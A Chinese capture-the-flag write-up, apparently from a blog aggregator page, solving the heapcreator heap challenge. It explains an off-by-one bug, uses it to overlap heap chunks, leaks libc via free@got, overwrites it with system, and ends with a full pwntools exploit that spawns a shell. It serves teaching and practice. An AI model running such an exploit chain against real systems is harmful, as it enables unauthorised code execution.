news 2026/9/28 21:20:22

heapcreator(hitcontraning_lab13)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
heapcreator(hitcontraning_lab13)

静态分析

我们拿到题目之后先查看一下保护机制

RELRO STACK CANARY NX PIE Partial RELRO Canary found NX enabled No PIE

Partial RELRO → GOT 可写,能劫持 GOT

No PIE → 程序基址固定 0x400000,GOT 地址已知

libc 2.23 → 无 tcache,直接用 fastbin

我们ida反汇编看一下

我们看到程序相对比较简单,我们来做一个分析

create_heap

unsigned __int64 create_heap() { heap *v0; // rbx int i; // [rsp+4h] [rbp-2Ch] size_t size; // [rsp+8h] [rbp-28h] char buf[8]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-18h] v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !heaparray[i] ) { heaparray[i] = (heap *)malloc(0x10u); if ( !heaparray[i] ) { puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0, buf, 8u); size = atoi(buf); v0 = heaparray[i]; v0->content = (char *)malloc(size); if ( !heaparray[i]->content ) { puts("Allocate Error"); exit(2); } heaparray[i]->size = size; printf("Content of heap:"); read_input(heaparray[i]->content, size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }

我们经过分析得到一个这样的结构

作者有点手残,各位看官莫怪,这里注意:n=9

整理一下就是这样的结构体

struct heap { size_t size; // 8 字节 char *content; // 8 字节指针 }; struct heap *heaparray[10]; // 全局数组,存每个 heap 的 struct 指针

edit_heap

unsigned __int64 edit_heap() { unsigned int v1; // [rsp+Ch] [rbp-14h] char buf[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 >= 0xA ) { puts("Out of bound!"); _exit(0); } if ( heaparray[v1] ) { printf("Content of heap : "); read_input(heaparray[v1]->content, heaparray[v1]->size + 1); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }

这里我们发现了漏洞off-by-one

if ( heaparray[v1] ) { printf("Content of heap : "); read_input(heaparray[v1]->content, heaparray[v1]->size + 1); puts("Done !"); }

这里我们画一个图进行解释一下,注意:这个图可真实的堆栈图是有出入的,我们这里只是为了方便大家理解,我们看程序输入size+1的大小就是将heaparray[v1]填满了size个字节之后溢出了。我们现在确定了这个漏洞点,后面的几个没什么说的,我们直接进行利用;

利用

off-by-one 改 heap[1] 的 struct chunk size:0x21 → 0x41(0x20→0x40)
2. free(1):struct 被误判为 0x40 进 fastbin[0x40],content 正常进 fastbin[0x20]
3. 重新 create 制造重叠:新 struct = 旧 content,新 content = 旧 struct
4. 通过重叠把新 struct 的 content 指针改成 free@got
5. show 泄漏 free 真实地址 → 算 libc 基址
6. edit 把 free@got 覆写成 system
7. delete 触发 system("/bin/sh")

动态验证

我们这里先进行修改一下libc的版本

这里下断点到第一菜单,停在第一个菜单。之后每一步的「输入」就是直接敲菜单,断点会自动拦住你。

这里我们创建两个chunk

这里我们进行查看的就是heaparray 的区域

这里两个chunk为什么相差0x40?

堆地址 内容 A+0x00 [prev_size][size=0x21] ← chunk0_struct 头 A+0x10 size=0x18 ] ← heaparray[0] 指向这 ★ A+0x18 content = A+0x30 ] struct heap (0x10) A+0x20 [prev_size][size=0x21] ← chunk0_content 头 | 0x20 A+0x30 "dada" ← heap[0]->content | A+0x40 [prev_size][size=0x21] ← chunk1_struct 头 | 0x20 A+0x50 size=0x10 ] ← heaparray[1] 指向这 ★ A+0x58 content = A+0x70 ] struct heap (0x10) A+0x60 [prev_size][size=0x21] ← chunk1_content 头 | 0x20 A+0x70 "ddaa" ← heap[1]->content |

利用off-by-one进行改size,为什么要 25 个且不带换行前导:read_input 读的是 size+1 = 0x19 = 25,终端规范模式下按回车才提交,25 个字符刚好凑满请求长度,\n 留在队列里不被读走。

我们现在已经成功修改chunk的大小,现在我们就释放这个chunk,让他进错bin

看到 fastbin[0x20] 和 fastbin[0x40] 各挂一个 chunk。这就是漏洞的核心:free 只看 chunk 头里的 size 字段,0x41 让它以为这是 0x40 的块。同时 x/gx 0x6020a8 应为 0(delete_heap 里置了 NULL)。

看到地址互换了:heaparray[1] 现在指向原来的 content 位置。此时 A+0x70 和 A+0x78 被 B 覆盖了,用 gdb 补成 payload 想要的值:

heaparray[1]->content == free@got。指针劫持成立。

这是 free 的真实地址

此时我们发现free@got 现在等于 system。

这个时候我们已经把 content 改成真正的 /bin/sh

之后我们就可以拿到shell了

之后我们就可以进行构造exp了

from pwn import * import time context.log_level = 'info' r = process(['./ld-2.23.so', '--library-path', '.', './heapcreator'], stdin=PIPE, stdout=PIPE, stderr=PIPE) heap = ELF('./heapcreator') libc = ELF('./libc.so.6') def create(size, content): r.recvuntil(b"Your choice :"); r.sendline(b"1") r.recvuntil(b"Size of Heap : "); r.sendline(str(size).encode()) r.recvuntil(b"Content of heap:"); r.send(content) def edit(idx, content): r.recvuntil(b"Your choice :"); r.sendline(b"2") r.recvuntil(b"Index :"); r.sendline(str(idx).encode()) r.recvuntil(b"Content of heap : "); r.send(content) def show(idx): r.recvuntil(b"Your choice :"); r.sendline(b"3") r.recvuntil(b"Index :"); r.sendline(str(idx).encode()) def delete(idx): r.recvuntil(b"Your choice :"); r.sendline(b"4") r.recvuntil(b"Index :"); r.sendline(str(idx).encode()) free_got = heap.got['free'] # 1. off-by-one 把 heap[1] 的 struct chunk size 0x21 → 0x41 create(0x18, b"dada") create(0x10, b"ddaa") edit(0, b"/bin/sh\x00" + b"a" * 0x10 + b"\x41") # 2. free 后 struct 进 fastbin 0x40,content 进 fastbin 0x20 delete(1) # 3. 重新分配制造 overlap,写 content 覆盖新 struct 的 content 指针为 free@got create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got)) # 4. leak free 地址 show(1) r.recvuntil(b"Content : ") data = r.recvuntil(b"Done !") free_addr = u64(data.split(b"\n")[0].ljust(8, b"\x00")) libc_base = free_addr - libc.symbols['free'] log.success('libc base: ' + hex(libc_base)) system_addr = libc_base + libc.symbols['system'] # 5. free@got → system edit(1, p64(system_addr)) # 6. 触发 system("/bin/sh") delete(0) time.sleep(0.3) r.sendline(b"id; echo SHELL_OK; exit") time.sleep(0.3) data = r.recvrepeat(3) log.success('output: ' + repr(data)) r.close()

好了,我们本篇博客就结束了,感谢观看

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/28 21:20:15

术语总表 ·《Zero to Python》

术语表规范&#xff1a;同一术语只在首现单元收录&#xff0c;后续单元写「见单元 N 术语表」&#xff1b;正文与代码里出现的新写法必须在首现单元有词条。三列固定&#xff1a;术语 / 一句话解释 / 首次出现。 维护方式&#xff1a;每单元写完&#xff0c;把该单元术语表追加…

作者头像 李华
网站建设 2026/9/28 21:19:42

JEDEC JEP106 半导体厂商 ID(内存 / 存储芯片制造商识别码)

JEDEC JEP106 半导体厂商 ID&#xff08;内存 / 存储芯片制造商识别码&#xff09;也就是 SPD&#xff08;Serial Presence Detect&#xff0c;内存串行存在检测&#xff09;里面用来标记 DRAM / 存储芯片厂商的编码&#xff0c;BIOS 读取内存 SPD 时会读到这个 ID&#xff0c;…

作者头像 李华
网站建设 2026/9/28 21:19:22

AgentKit银弹落地:解决AI Agent生产落地的所有痛点

文章目录前言1. 先说个事儿1.1 AgentKit是啥2. 为什么Agent落地这么难2.1 卡点一&#xff1a;身份权限乱2.2 卡点二&#xff1a;工具数据散2.3 卡点三&#xff1a;运行环境裸奔2.4 卡点四&#xff1a;出事了查不了3. AgentKit的三层能力3.1 构建与资产层&#xff1a;把Agent当公…

作者头像 李华
网站建设 2026/9/28 21:18:44

基于深度学习的抖音用户购物行为预测系统的设计与实现

摘 要 抖音作为全域兴趣电商头部平台&#xff0c;用户购物呈现“刷到即买”的即兴化特征&#xff0c;流量红利消退后行业获客成本攀升&#xff0c;同质化竞争加剧。传统运营模式难精准捕捉用户碎片化需求&#xff0c;而大数据与AI技术的成熟&#xff0c;为整合用户行为、交易等…

作者头像 李华